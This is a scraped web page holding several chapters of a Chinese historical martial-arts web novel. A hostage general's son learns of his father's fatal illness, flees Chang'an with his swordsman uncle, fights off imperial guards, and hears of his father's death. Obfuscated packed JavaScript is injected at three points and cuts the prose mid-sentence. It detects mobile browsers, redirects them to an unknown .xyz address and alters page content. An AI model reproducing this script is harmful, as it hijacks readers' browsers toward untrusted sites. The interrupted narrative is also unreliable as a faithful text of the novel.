那是封长念入门后一年的事儿了。 这一年来,少年与同门迅速熟识,同大师兄切磋武艺、二师兄下棋论道、三师兄走街串巷、小师妹听学读书。 但更多时候,还是靖安言同他在一块儿,两个人时而习剑,时而谈论天下大事,时而出去打马赏光,抚掌大笑有之,为了一个观点争得面红耳赤亦有之。 廖玄静有一次路过他们屋外,看着两个人因为五军都督府之事而争论不休,靖安言难得收了那一副吊儿郎当的模样,从来含笑的那双眼睛里沉甸甸的都是认真的神色。 她欣慰:“玄念何尝不是在带长忆的过程中长大了呢。” 的确,看着那个初初到长安万般不自在的小少年渐渐活泛起来,文韬武略样样精通时,同样也是少年人的靖安言发自内心感慨“长大了啊”。 其实封长念基础真的很好,开蒙很早、习武也早,靖安言猜绥西侯封铭自小是把他当小将军养的。 有一次将这种想法说给封长念听,封长念抱着剑望着一望无际的跑马场,沉吟了很久。 他说:“不是小将军,是将军。战场上,没有人会因为我年纪小而手下留情,若真的形势所迫,需要少年挂帅为将,那么敌人也不会因为我年纪小而对我网开一面。 “不说旁人,大师兄就是从少年时上战场,有他珠玉在前,我父亲对我要求也从来严苛,从我懂事起,兵法、谋略,都是必修课,习武那就更不用说了。” 封氏先祖跟着大魏太.祖皇帝打天下时,专攻西域一带,将沙宛国兵匪逼退至境外,后来论功封赏,由封氏一族镇守大魏西大门。 等到封铭这一辈,封氏旗在梁宁一呼百应,封氏将军剑指之处就是士兵百姓心之所向,战功赫赫。 封铭自封长念会走时起就会带他去看演武练兵,封长念从他的臂弯上长大,再到需要高举着手臂被父亲牵着,听看台下呼声涛涛、喊杀阵阵,最后到与他父亲并肩而立,手中持着三尺寒锋。 “阿珩,你知道为将者意味着什么吗?” 出征祭酒,封氏旗在狂风之下猎猎作响,一身戎装的封铭将军持着手中酒碗,醇香酒液映出浩荡天地日月。 “意味着你手下的所有人还有你身后的所有人,他们的性命、荣辱、命运,都在你的一念之间。”封铭高举酒碗,清冽的酒液激荡溅出一二,像是先祖的热泪与赤血泼洒后世,“敬皇天后土,佑我大魏旗开得胜,马到功成!” 意气风发、战功赫赫的铁血将军在儿子动容的注视下带着大军浩浩出城,封长念缓缓地、紧紧地攥起了拳,可回过神来眼前早已没了那黄沙弥漫的边城,他只攥了一手鲜嫩的草叶。 懊悔地丢掉时,正对上靖安言温和的一双眼。 他心一抖:“怎么了?小师叔?” 靖安言托腮望着他:“没什么,就觉得,侯爷真的很把你培养得很出色。” 封长念被他说得脸热,难得听这人正经夸两句,结果果然没两句又开始跑偏:“……所以,难道是我教你的方法有问题?我感觉你在侯爷手底下挺安稳的,怎么落到我手里蔫坏蔫坏的。” 封长念一哽:“……什么叫蔫坏蔫坏的?!” “别的不说,最近你师父在玄门新种了两颗小白菜,被长记拔了,现在还在玄门抄书呢,你倒是什么事情都没有。” 苑长记是封长念三师兄,生于官宦世家,他爹是工部尚书,因此自小宠得无法无天,属于是纯淘。 靖安言一双眼看透了:“他是好奇小白菜和大白菜的区别才动的手,但怂恿人家去拔菜的是你吧。” 封长念不说话,开始揪草。 “别装哑巴,怎么回事儿啊,我听你这么讲,在西域你天天跟个小大人似的,怎么在长安性子就皮了呢?”靖安言揪他领子往后拽,“怎么,你那点儿淘气留着给我教呢?” 封长念一个没稳就被人拽倒在草地上,扑腾扑腾自己爬起来:“我那不是……那不是……” 那不是什么呢? 封长念心有戚戚地刮了刮脸。 西域是他的家,但是是边疆,是战场,再加之从小在军营中长大,几乎没有什么同龄人,他爹管他又管得严,他的所有玩闹之心都没地方撒,偶尔带着剑刨刨土坑、抓抓鸟就算是消遣了。 长安不一样,虽然他是来这儿为质的,但不得不说魏明帝真的很会拿捏封长念的心思,好吃好喝好玩一样不少。 玄门长字门弟子皆与他同龄,他那三师兄苑长记更是个会玩儿爱玩儿的,生于钟鸣鼎食之家,不愁吃不愁穿,和封长念这种从小在边关吃沙子长大的不一样,他第一次带着这个四师弟走街串巷的时候,把封长念眼睛都看花了。 从此二人走上一条玄门说相声的不归之路,苑长记逗哏,封长念捧哏,拉着剩下三个师兄妹捧场,最后场子没支起来,被小师叔靖安言以练剑为名无情地摧残了。 在这样的环境里,纵然封长念是自控力很好的人,也很清楚自己身上担的责任,但久而久之,那些被压抑久了的天性也按捺不住地冒了头。 “那不是什么?”靖安言威胁他,“再不说出个所以然来,你小师叔我要大义灭亲了,我去告诉我师兄你师父真相,等着抄书抄通宵吧。” “谁让他拿我剑挖菜,墨痕剑我一天擦八遍,结果一时不察就都是泥。”封长念忿忿不平,“别的都随便,墨痕剑不行,我父亲说过,习武之人当爱惜自己手中兵刃,如同身体部分之一,他——” 话未说完,靖安言伸出二指,精准勾住他的后颈,把人往自己面前一拽—— “你这么喜欢墨痕剑?那怎么我送你的时候你苦着一张脸,我还以为你不乐意呢。” “我我我我……我哪有!?”封长念几乎都能从靖安言的眼睛里看见自己惊慌失措的神情,“那是你大晚上来敲窗,我吓着了!” 靖安言存心调笑:“小将军也会害怕啊?我还以为你见多识广怎么都不怕了呢。” “我——” 封长念终于从靖安言那双笑眯眯的眼睛里读出了戏谑,那时的封长念尚不懂情爱,尽职尽责地将自己放在晚辈的位置上,一心要对长辈恭敬些,偏生这个长辈就爱逗他玩儿。 他无可奈何:“……小师叔,你就欺负我吧。” 靖安言终于哈哈大笑起来。 其实仔细想想,那个时候玄门的日子还是很欢喜的,靖安言坐在时光洪流的这一头往回望,以为自己只能看到一片狼藉,却不想翻翻捡捡,那些嬉笑热闹仿佛近在咫尺。 都是少年人的年纪,比之大了许多的师兄姐,显然这帮长字门师侄跟他更有的聊,他又未有官名挂身,于是天天以督促习武之名与长字门五个玩在一处,指点剑术最后也变成了嗑瓜子闲聊。 “行了走吧。”靖安言笑够了,看着对面的少年把自己臊成了一只蒸熟的菜包,于是主动伸出手去勾他的领子,“天快黑了,不是说今天玄静师姐下厨吗?她那一手好菜别浪费,我带你去抢第一碗……” 马蹄声就是在这个时候响起来的。 这时节无围猎无赛马,御马都在马厩里乖乖待着,而这马蹄声迅疾,仿佛要将脚下大地都震碎,听起来也不像是养尊处优的观赏马能跑出来的动静。 靖安言一咕噜爬起来,只见一抹黑色的影子快速冲他们这儿奔来,距离太远看不清那人的五官,但眼下长安已经春末,早已不会穿他身上的那袭大氅。 倒是身后封长念突然拽住了他的小臂:“小师叔,那好像是——” 是—— 靖安言眸子一缩,立刻反握住封长念的胳膊。 骏马飞驰,速度极快,离得近了靖安言才看清那马鞍前镂金的“封”字。 西军都督府的人! 封长念已经蹿了出去,靖安言自始至终没有放开他,两个人磕磕绊绊迎上前去,来人看清封长念的面庞,紧急一拽缰绳,还不等停稳,就从马背上一跃而下,踉跄两步,扑通跪下! 比那动静还响的是靖安言的心跳,封长念死死地盯着来人的发顶:“赵大哥,你怎么来了?发生什么了?” “少主——”腿断了都一声不吭的副将第一次在封长念面前落了泪,“少主,侯爷……侯爷他病危了!” 仿若一道晴空霹雳,靖安言手中的胳膊猛地一颤,他下意识长臂一伸,一把揽住几乎要蹿出去的封长念。 “你干什么?!”封长念一向温润的嗓子破了音,“你别拦着我,我得进宫去,我——” “他为什么出现在这里你不明白吗?”靖安言脑子同样很乱,但是语气冷肃,带了从未有过的认真,“绥西侯病危,消息一定先送到皇宫,如果他是自皇宫来,那么怎么会是一个人,这代表什么?!” 封长念死死扒着他的胳膊,显然什么都听不进去。 “这代表兵分两路,他是瞒着皇帝先来告诉你的!”靖安言一把按住封长念双肩,两人身量相仿,靖安言几乎按不住人,“为什么要瞒着皇帝,还要我再说下去吗!?” ——因为皇帝不一定会同意让封长念知道封铭病危的消息。 封长念猩红的双眼不敢置信地与靖安言沉静的双目对视。 封铭病危代表着什么,代表着西军都督府即将易主,封长念知道必定要回家,他回家又意味着什么,那是意味着封铭后继有人。 皇帝留他是为了什么,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这样,你在玄门里等我。”靖安言把人按在椅子上,自始至终封长念都紧紧咬着牙关,没有说一句话。 但时间不等人,靖安言顾不上哄他了,急急道:“我去找我姐姐,你乖乖在玄门别动,听话,小师叔答应你,一定给你想办法让你回家。” 封长念还是没有反应,冰凉的双手紧紧交握,指腹都泛了白。 “小长忆,别让我担心。”靖安言弯着腰摸了摸他的发,“你知道的,我答应你什么都会兑现的,对不对?小师叔什么时候骗过你。” 再不能耽搁了。 他的指腹在封长念的耳畔一扫而过,撩起一阵让人安心的风。 但那是为了安抚封长念,靖安言在跑出去的一瞬间就慌了神。 绥西侯要死了。 他脑子里转过了很多东西,一时是西域外蠢蠢欲动的沙宛国,一时是后继无人的西军都督府,一时又是皇帝意欲收拢大权的纵横捭阖,最终是封长念一年前送别父亲时不舍却懂事的沉默。 靖安言心底浮现出不安的预感,宫墙巍峨沉默,浓烈的红也变成了冷漠的颜色,无言地望着渺小的一个他。 这种不安终于在被他姐姐拒绝接见的时候到达了顶峰。 他抿了抿唇:“……跟皇后说清楚,是我要见她吗?我没什么别的事,就是许久不见姐姐,想和她说说话罢了。” 靖宓的贴身婢女稳妥地行着礼:“小公子,已经跟皇后娘娘说过了,皇后娘娘说身子不适,实在不便见客。” “那么姐姐怎么了?” “皇后娘娘……”那婢女抬眸,很轻很快地掠了一眼靖安言,“让奴婢劝告小公子一句,瓜田李下。” 靖宓心里跟明镜似的知道他要来干什么! 靖安言一颗心直直坠了下去——很明显靖宓已经听到了风声,而这风声与靖安言想的一样,皇帝不打算放封长念回家见父亲最后一面! 靖安言攥了攥拳,扬长而去,身后的婢女也不多言,对他的背影恭敬行了一礼。 不行……不行! 封长念本来来这里就是被迫的,他本该在西域疆场上冲锋陷阵,如今只能囿于这里无法挣脱,如果连父亲最后一面都见不到…… 靖安言脚步猛地一刹。 绥西侯正值壮年,平素也未曾听闻过有任何旧疾,怎么就……忽然病危了呢? 在刚刚封无可封、荣膺加身、恩宠巅峰的时刻。 他猛地回头,只能看见宫墙后流光溢彩的琉璃瓦片。 一股寒意将他席卷,冻得他纵然在炎炎夏季,呼出来的气都带了冰凉。 “小师叔!!!” 靖安言刚回到玄门,连口气都来不及喘,迎面撞上了秋长若,小姑娘眼里都是惊慌。 “我正要去找你,长忆刚刚被人掳走了!” 17.归家 “掳走”封长念的不是别人,正是赵副将,赵炎。 赵炎从小失怙失恃,五岁时亲眼目睹父母双双死在沙宛士兵刀下,自此立志要为父母报仇雪恨,长大后投入封铭麾下,一跟就是十数年。 他见过封铭浴血奋战的英姿,见过他排兵布阵的多智,也见过在封珩被送入长安后,来自一位父亲的沉默无言与不舍心疼。 其实何止是封铭,他这个看着封长念从小长大的大哥,见到父子二人同入京城,却只回来一人的时候,都会泛起浓浓的无奈和难过。 赵炎当时还安慰封铭,说没关系,等过几年边疆安定了,就寻个由头将小侯爷接回来,却没想到一切变故来得那般快,今年冬天,封铭大病了一场,那些年轻时战场上的旧疴折磨着他,断断续续养了一个月。 病未大好,又逢沙宛兵卒挑衅,在一个深夜,封铭内外煎熬下吐了血,本就没好全的病情来势汹汹反扑,一来二去耗成了如今这般模样。 赵副将当时跪在封铭病榻前,重病迅速抽去了这位将军的精气神,他颤颤巍巍抬起的手被赵副将握住,指腹下的皮肤已经带了年迈者的褶皱。 封铭已经不年轻了,可还是孤身一人,他那唯一的弟弟软弱无能,只知吃喝玩乐,能担大任的只有他自己,孤零零地抵御着西域外的飞沙走石。 能帮他的人、他的希望不在身边。 他唯一的孩子、唯一的希望不在身边。 封铭说不出话,粗粝的指头兀自颤抖,指着床尾的那幅地图,赵副将立刻将那幅地图给他搬过来,让他的指腹轻轻点在地图的纸面上。 ——长安。 年迈的将军终于流下了蕴藏一年的一滴泪。 为着这滴泪,赵副将无论如何也要将封长念带回去。 哪怕违背圣意,哪怕五马分尸。 他不傻,明德宫里皇帝闻言痛哭不止,当即指了廖玄静带长安有名的医术圣手前往梁宁,却对封长念只字不提,他几次想要开口提及,都会被皇帝不动声色地挡过去。 这态度已然明显,而赵炎不是个坐以待毙的人。 封长念也不是。 他换上赵炎给他带的夜行服,轻车熟路地摸到长安城的角落,准备入夜后就走。 “小侯爷,没办法了,我不是故意要你犯险,但是我实在不忍心看着侯爷、侯爷他……”赵炎狠狠擦了一把眼睛,“侯爷他很想你。” “……我知道。”封长念单手抱着手臂,整张脸都藏在阴影下,“我知道。” “我知道行军打仗之人嘴上还是要有些忌讳,但是我真的担心,担心……”赵炎说不下去,“不过你回去看看,说不定看一眼侯爷积郁消解,病也会好了一半。” 封长念抱着手臂的那只手紧了紧,衣服都拽出了褶皱。 “阿珩。”赵炎的手搭在他肩膀上,“……你要是担心,可以哭一哭,没关系的。我知道侯爷从小教你要坚强,但此时非常时,你可以……” 封长念摇摇头,声线还算平稳:“赵大哥,我还好,你别担心。” 赵炎愣了愣,眼前的少年不过作别一年,但赵炎清晰地感觉到他身上有些东西不一样了。 他模样肖母,从小五官精致又漂亮,封铭担心他压不住阵、提不起刀,于是刚懂事时就被教着沉稳,遇事不许哭,哭也自己躲被窝里偷摸哭去。 封长念听话又懂事,知道自己担的责任,可再怎样年龄摆在那里,因此严肃起来也总带着一副故作深沉的孩子气。 可如今不是了。他垂眸站在那里,除了刚听到消息时的焦急,眼下浑身上下像是被淬了冰,将那些情绪强行压下去,他说没事时,会让人真的觉得他心里有主意。 有什么主意呢?赵炎不知道,但总觉得这小子还有什么别的招在后头。 太阳渐渐西沉,余晖泼洒,隐匿在阴影中的封长念终于动了动,轻声开口:“其实我一直在想一件事。” 赵炎连忙接道:“什么?” “何以至此。”封长念冷静地像在说别人家的故事,“封氏,何以至此。” “大魏征伐前朝,封氏替太.祖皇帝将侵占西部地带的沙宛国赶回了老巢,由此奠定了大魏版图。” “先帝魏文帝景宁年间,沙宛国数次来犯,我曾祖父年逾八十披甲上阵,带着我祖父、二叔祖、三叔祖、父亲、堂伯、堂叔,大大小小的战争不下百次。” “景宁十年,沙宛国兵强马壮,曾祖父死守正定关,沙宛贼人后继无力,被迫退兵,死守关卡的士兵这才发现曾祖父已然离世,三箭正中胸口,耄耋老人,白色的胡须都被染得通红。他死在关隘,至死贼人不知他那挺直的脊梁已然冰冷。” “景宁十五年,二叔祖伤病复发,但因前线无人,硬要披甲上阵,并答允我祖父,此次是最后一次,待清扫敌人,便退居府内再不上前线,当时二叔祖家的、我的堂叔刚学会叫阿爹。” “可敌军清扫干净,他也没回得来,他说封氏儿郎最重承诺,答应的事绝不反悔,这也的确是他最后一次上前线,因为再回来的,只有一具冰冷的尸体。” 封长念颤抖着呼出一口气:“祖父、三叔祖、堂伯、堂叔……他们有的甚至十几岁就死在了关外。” “这么多年,五军都督府的都督一直在更替,唯有西军都督府的兵权一直在封氏手里,儿时我听过刚来西军都督府的小士兵闲暇谈论,说封氏在西边驻扎多年,世代不离,本该是个大家族才是,怎么人……越来越少。” “因为他们都在正定关外,对吗?赵大哥。” 封长念漆黑的眼睛正如夜色落下时最初亮起的那颗启明星:“正定关外夕阳里,随手一捧,皆是封氏骨。” 赵炎眼瞳猛烈地颤抖起来。 他想了想,才无不哀伤地回答:“狡兔死,走狗烹;飞鸟尽,良弓藏。阿珩,侯爷没错,你也没错。从前是大魏需要你们,如今是皇帝不敢需要你们。” “你说得对,赵大哥,他担心西边会养出一头猛虎。” 封长念终于松开了紧抓胳膊不放的那只手。 赵炎轻轻把他拉进怀里,拍了拍他:“没关系,别担心,忠臣良将,自有清白在,我们这帮弟兄们都看在眼里、记在心里的。” 封长念叹息似的:“是啊,可我担心,你这一带我走,清白也变不清白了。” 赵炎眸子一颤。 下一刻,少年一掌将他推开,趁他尚未反应过来之际反手一记手刀劈在他后颈上。 赵炎对封长念完全没设防,再加上这一年来靖安言带他练剑,大多都要求腕力强悍,这一手刀下去干脆利落,直接把赵炎劈得眼前一黑,晕死过去。 封长念把人轻轻放在墙根处,把帽子给他盖了个严实:“对不起了赵大哥。” 我要回家,但我不能连累你。 他的手指在帽檐处一顿,然后盖住斗笠,头也不回地跃入了夜色里。 长安城门口关隘晚上也热闹非凡,封长念不知他偷偷溜走的消息皇帝知不知道,担心有人会在门口等他自投罗网,于是尽可能地藏在人群里,斗笠的帽檐压得低低的。 他算计了一切,甚至连巡逻交班的时间都算好了,趁着人多混乱、管理薄弱,封长念如同一尾游鱼,连朵水花都没打,悄无声息地溜了出去。 直到一口气走了二里地,听不见城门熙熙攘攘的人声,封长念才扶着一棵参天大树,将那口压抑在胸前的气悉数呼了出去。 出去之后就是无法抑制的哀伤和难过,他自己都没察觉到自己哭了,直到下巴一凉,他反手去摸的时候,才察觉到那是自己的泪水。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这有什么好为难的。我什么时候服过皇帝,要不为什么不入朝为官?”靖安言一下一下地拍着他,“做什么那么懂事?我让你那么懂事了?我不让你哭了?想干什么要敢说,天塌下来小师叔给你顶着呢。” 封长念僵了僵,那些刚要吞回去的泪又有反扑的趋势。 偏生靖安言的语气柔软的像是一团云,妥帖地接住了他的所有惶恐:“知道你委屈你难过你担心,哭吧哭吧,乖,小师叔在呢。你放心哭,我不告诉别人。” “……小师叔。”靖安言感觉到自己的左肩濡湿了,“我父亲……我爹他……他怎么样了?真的很严重吗?我还……还来得及吗?” “我是不是……要成孤儿了,我答应过我爹,我会让他看到我上战场杀敌的那一天的,是不是、是不是来不及了?” “来得及,都来得及。”靖安言轻缓地拍着他,“别怕,不怕的,你还有我,小师叔陪着你。” 靖安言不光自己来的,还牵了两匹马,甚至给封长念收拾了行装和盘缠,在他听说封长念怎么被“掳走”之后的这段时间里,他就在干这件事。 这件事很大,封长念再怎么少年老成也抵不住这种接二连三的打击,靖安言不放心,知道这里是往西去的必经之路,于是早早蹲在这里等。 还好,还好,还好赶上了。 要不然这小子真能自己一路颠沛流离着回去。 靖安言心有余悸地拍着封长念的后背,让他彻底哭了个痛快,晚风在那张犹带泪痕的脸上一吹,登时泛了红。 “哭成小花猫了都。”靖安言给他擦干净,“哭够了就走吧,我们日夜兼程,一定来得及。” 封长念神思回笼,抓住了那句“我们”。 “你……” 靖安言已经上了马:“我陪你去。” “是皇后娘娘……” “长忆。”靖安言没有正面回答他,晚风簌簌,吹拂过他清亮的眼神,那样笃定又坚韧,“小师叔一定送你回家。” 18.流光 夜深人静,两匹快马在树林间飞驰疾行。 皇帝随时有可能来盯着封长念的行踪,靖安言出来的时候西军都督府的人在明德宫还没走,皇帝应该也没想到封长念会知道消息,但他总会回过神来抓人,他们现在抢的就是这个时间差。 “小师叔,”封长念握紧缰绳在他身边并行,“……回来你要怎么说?” 靖安言瞥他一眼:“你要怎么说?” “我实话实说。”封长念抿了抿唇,“儿子要见父亲天经地义,他有天大的怒火我也受着,但我不想连累你,你还是想个托词,哪怕是出去游历了也比陪我要好。” “好啊,那我说我去梁宁玩了一圈,帮他视察西大门去了。” “……小师叔,我没有同你开玩笑。” “我也没有啊。”靖安言促狭地眨眨眼,“得了,小小年纪想了一圈就不想自己,别管我了,山人自有妙计。” “小师叔。” “又怎么了?” “谢谢你。” 靖安言愣了愣,转头仔仔细细地看着封长念的神情,骏马飞驰让他整个人一耸一耸的,但此时他也认真地望着靖安言,双眸如同砚台上化不开的墨色。 “路见不平罢了。”靖安言转过头,有点儿不好意思起来,“我早看不惯皇帝对武将百般打压,和他是不是我姐夫无关,就是觉得来气。剑客嘛,行侠仗义啊。” 封长念终于露出了今天的第一个笑模样。 然后上翘的唇角未完,只听破空之声蓦地响起,根本由不得人反应,一条又长又粗的鞭子刺破夜色,凌空响起森然的鞭声,封长念后腰刹那间被抽了一道血印子! 火辣辣的痛感瞬间蹿上后脑,疼得他一哆嗦,险些握不住缰绳从马背上滚下来。 “长忆!”靖安言回头一瞥,只见夜幕里不知何时多了许多道暗影,四面八方将他们二人围在其中。 宋启迎的暗卫! 靖安言咬咬牙,暗卫都来了,宋启迎反应得比他想的要快,出手也比他想的要狠,连玄门那层都省了,这是要不惜一切代价将封长念扣住,绝对、绝对、绝对不能让他回西军都督府。 为首的眼神狠辣,手上是一条带倒刺的长鞭,此时正舞动着鞭子尾部的尖刀,如一条阴毒的蛇,目光灼灼盯死了封长念的后颈,似乎想要直接把人生生拖下来。 欺人太甚! 说时迟那时快,长鞭脱手而出,一道凛冽寒光顷刻而至,拦腰将长鞭斩断在半空,骏马悲啸地长鸣一声,靖安言脚踩马背腾空而起,一柄剑翻握在手,掠过封长念时在他那匹马屁股上狠狠揍了一记。 “小师叔——!!!” 骏马更卖力地奔腾而去,仓皇间的回眸,只见漆黑夜色里,暗卫的表情都隐藏在阴影之下,唯有靖安言那一双眼是明亮的,一把剑是明亮的,甚至就连猎猎舞动的衣摆,也是明亮的白色。 那以一人挡千军万马的架势,几乎要灼伤封长念的眼。 “吁——”双方同时勒紧了缰绳,天地间静默一瞬,唯有靖安言不徐不疾地抽掉剑鞘,像是月色一线,在夜黑风高的晚上格外寒气逼人。 “长忆,”靖安言没有回头,只是慢慢握紧了剑柄,“走。” “小师叔——” “靖公子,”为首的暗卫没有下马,毫不走心地抱了抱拳,“圣上有令,封珩速速进宫面圣,不得有误,阻碍者无论身份,一律格杀勿论!” 靖安言冷冷地勾起唇角:“哎哟,说的真吓人。更深露重的,陛下急召长忆做什么呢?” “圣上旨意岂是我等可以揣测。靖公子,念在皇后娘娘的份儿上,请您让开。” 靖安言歪歪头:“我若是不呢?” “陛下有圣旨在先,难道靖公子想要抗旨不成?” “这话说的,怎么就有圣旨在先,我带着我小师侄出去打马捉萤火虫,早就定好了,要来也是圣旨迟来了啊。”靖安言无谓而坦荡地望着他,“凡事总有先来后到吧,陛下微服私访还要排队呢。” 他话中嘲讽太盛,就连骏马都被那空气里僵持的不安骚动,略显焦躁地刨动着前蹄,封长念顾不得后腰灼热的疼痛,吃力地翻身下马,拦在靖安言面前。 “慢着、慢着!陛下召的是我,与旁人无关。” “靖安言!”暗卫已经被激怒了,全然管不得什么无关不无关,“你以为你长姐是中宫就能如此放肆了吗?你知不知道在和谁说话!?” 靖安言拨开封长念想要来阻拦他说话的手,笑意更甚:“这夜晚太黑了,着实有些看不清。但我理解一下阁下的意思——打狗也要看主人,对不对?” “铮——” 长刀自腰间出鞘,靖安言一推封长念,轻松闪身,杀气四溢的刀光自他面前拂落,却像是抖落了一抔尘埃般轻松,马尾荡起放荡不羁的弧度,转眼间又被一线寒光掀翻。 靖安言出剑了。 他从来自称“若这一身剑术在大魏排第二,没人能排第一”,封长念原来总以为是他带了些自夸的成分,毕竟他性子飞扬跳脱、张扬肆意,但今日一见方知,靖安言还是谦虚了。 剑身以一种流光之势自指挥使面前划过,几乎看不到靖安言的动作,整个人如一只雪白的鹞鹰,迅疾得让人不敢眨眼。 暗卫们甚至没有看清那人什么时候擦身而过,指腹一抹脸颊,一道森然的血线。 “怎么,你们常年干杀人勾当的人,还会晕血啊。”带笑的嗓音在暗卫之首的身后响起,如鬼魅般令人不寒而栗,为首的目眦欲裂,寒光骤然在他眼尾一闪—— 靖安言轻呼一口气,在炎炎夏日仿佛也能顷刻冻结千里冰川。 暗卫在刀尖上行走数年,第一次感受到距离死亡居然有这么近。 命门就暴露在靖安言眼下,可他来不及、再无法躲掉了。 “大人——!!” “小师叔——!!!” 封长念猛地扑上去挡剑。 不行,不行!但凡今天有人死在这儿,靖安言怎么也逃不过这一劫。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582534|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他无论如何也不能让靖安言陷入险境! 背后一片滚烫的痛意,就在封长念伸出手去想要阻拦那根本触之不及的剑光时—— 几缕发丝顺着夜风,飘荡至他的指尖,又跌落在地面。 “别害怕啊。”靖安言瞟了一眼封长念,“打狗也要看主人呢,我怎么敢动陛下的暗卫,我就是再狂,难道还真的不要命了么?” 他眼珠动了动,惊奇道:“哟,尿裤子了?” 借着月色遮掩,为首的裆.部已然漫开一片湿意,闻言双膝一软,扑通一声跪在了地上。 “我要带我小师侄出去捉个萤火虫,陛下圣旨来得太晚了,长安城门都关了,诸位就是脚程再快,也不能坏了宵禁的规矩,除非有紧急军报,否则不得打开城门。” 靖安言收剑归鞘,快步走过去扶了封长念一把,掌心摸过他的后背,满是猩红色。 他蹙了蹙眉,觉得只削了几缕发丝还是有些太心慈手软,声音也愈发冷淡。 “理由都替你们找好了,还有谁想拦吗?”靖安言眸色一凛,“没有就滚。” 封长念压着他的手:“小师叔,别……” “我答应过你要带你见你父亲。”靖安言轻声道,“小师叔一言九鼎,走,翻过这片林子我给你上药。” 他被靖安言搀扶着上了马,靖安言的手掌已经离开了他的后腰,转而替他牵起缰绳:“走吧。” “玄念!!!” 又是一阵马蹄声奔腾而至,靖安言不耐烦地回过头去,在暗卫敢怒不敢言的目光中,岳玄林面色凝重地策马而来。 他在二人面前勒住缰绳,拦住两人去路:“玄念,你今晚做的事太离谱了。” “离谱?”靖安言闻言挑了挑眉,“师兄,什么叫离谱,再离谱能有那位的心思离谱吗?!” “四方战事刚刚平息,绥西侯病重,封珩不归家看望父亲,不扛起西军都督府的封家旗,却被圈在长安城里,西域一带群龙无首,沙宛国反扑又该如何?难道还指望着封钧那个纨绔扛旗吗?” “这是军事!岂容你在这里胡乱置喙?”岳玄林频频给他使眼色,“陛下自有考量,玄念,别闹了。” “他只是想回去见见父亲,”靖安言再怎么天不怕地不怕,当着封长念刚哭得红肿的眼睛也不能把内心最坏的猜测问出口,只是说,“他能做什么?不谈军事,他也只是想见见父亲,这也不行吗?” “不行。” “这又哪门子的不……” “因为已经来不及了。” 封长念与靖安言皆是一怔。 “病危的消息传来没过多久,下一封急报就送进了皇宫。” 岳玄林翻身下马,缓步走到怔愣的封长念面前,微微抬起头望着马上的人。 他正值壮年,可眼睛里已经有了无奈惋惜的沧桑,那是自己身为近臣却无法扭转皇帝心意的无力,明明知错却无法更改结局的懊悔,还有目睹英雄末路的悲哀。 “绥西侯他,病故了。” 19.旧梦 子时已过,皇宫之内鸦雀无声,唯有明德宫灯火通明。 纵使已经到了休息之时,皇帝宋启迎依旧忙得还没换下那一身明黄龙袍,台阶下零星地跪着几个人,宋启迎捏了捏鼻梁,颇为头疼地看向靖安言。 他对这个小舅子,说实话还真的有点怵,靖宓虽然在南边长大,但性格还算娴静,和她弟弟靖安言的性子差别天南地北,宋启迎有时候怎么也想不明白,靖安言明明才是养在规矩的长安城中的,怎么会如此不拘不束。 但眼下还不是说这个的时候,宋启迎睁开眼,声音未出先叹了口气。 “绥西侯一事,朕也很心痛。”宋启迎微微垂着眼,瞧着封长念没有了广袖遮拦的手指,就这样明晃晃地、无处可逃地一点一点蜷缩起来攥紧了。 “既然你都知道了,朕说清楚些。”宋启迎拾起几封急报,“前些日子,沙宛国有一伙沙匪流窜至西域边境线,你父亲亲自带兵去的,本无大不妥,只是最后捉拿贼寇时被流矢射中了。” “本来沙匪也不过是小患,你父亲受到的也不是致命伤,可没想到去年冬季那一场大病伤了元气,一直未将养彻底,一同发作了起来,这才……” 剩下的话不消说了。 封长念轻轻抖开折子,一条人命的陨落放在这一纸诉状上也不过是零星几笔,可句句致命,字字伤人,那折子像是往他心口伤疤上又淋了一碗滚烫的烈酒,灼得他手指发颤,几乎拿不住那轻飘飘的纸张。 “你父亲已然病故,你再回去也是于事无补。”封长念深深地埋头下去,宋启迎只能看到他痛到发抖的后颈,“朕已下旨,一应事务都交由你叔叔封钧全权代理,包括你父亲的丧事,还有西军都督府事宜,如此,你大可放心了。” 默不作声半晌的靖安言猛地抬头,还来不及张口,就被一旁的岳玄林狠狠掐了一把小臂。 靖安言愤怒地回望,岳玄林也只是悲哀地摇了摇头。 封钧……封长念的叔父,到底还是如他们之前猜想的一般,眼下四方安定,西军都督府也不必再有精锐强将,只需要一个守城之人即可,宋启迎收揽四方兵权的图谋昭然若揭。 就算不提这一茬国事,单论家事,那封钧为人可不磊落,封铭在世时就与之多有龃龉,实在算不上兄友弟恭,对封铭这一脉的军权也虎视眈眈了许久。 这一里应外合,却让远在天边的封长念没了父亲的同时……真的没有家了。 “封珩。”宋启迎伸出手去,“节哀。” 封长念没有回应,只是低着头盯着手上的折子。 折子是西军都督府发的,夹杂着一封家书,宋启迎仅剩的一点良心没扣下,让封长念亲手拆开了这封书信。 上面的字迹歪歪扭扭的,还喷着点点血沫,封长念却一眼认得出那是他父亲的亲笔,也是他父亲的……遗言。 只有四个字。 吾儿珍重。 突然就想到了他和父亲的最后一面,在一年前的皇宫外,他的父亲用那只饱经风霜的大手轻轻摸了摸他的发顶,在前来相送的众臣与皇帝近侍面前,也只有一句话。 “好好儿的。” 滴答。滴答。 两颗眼泪在地毯上晕开了一小圈湿痕,封长念没发出任何声音,抬手将折子交还给宋启迎,自己将那封遗书攥紧了。 他心里清楚,宋启迎说着节哀,眸色里没有半分凄楚,那只龙爪子微微摊开,示意让他把折子递回去,然后,到此为止。 到此为止。 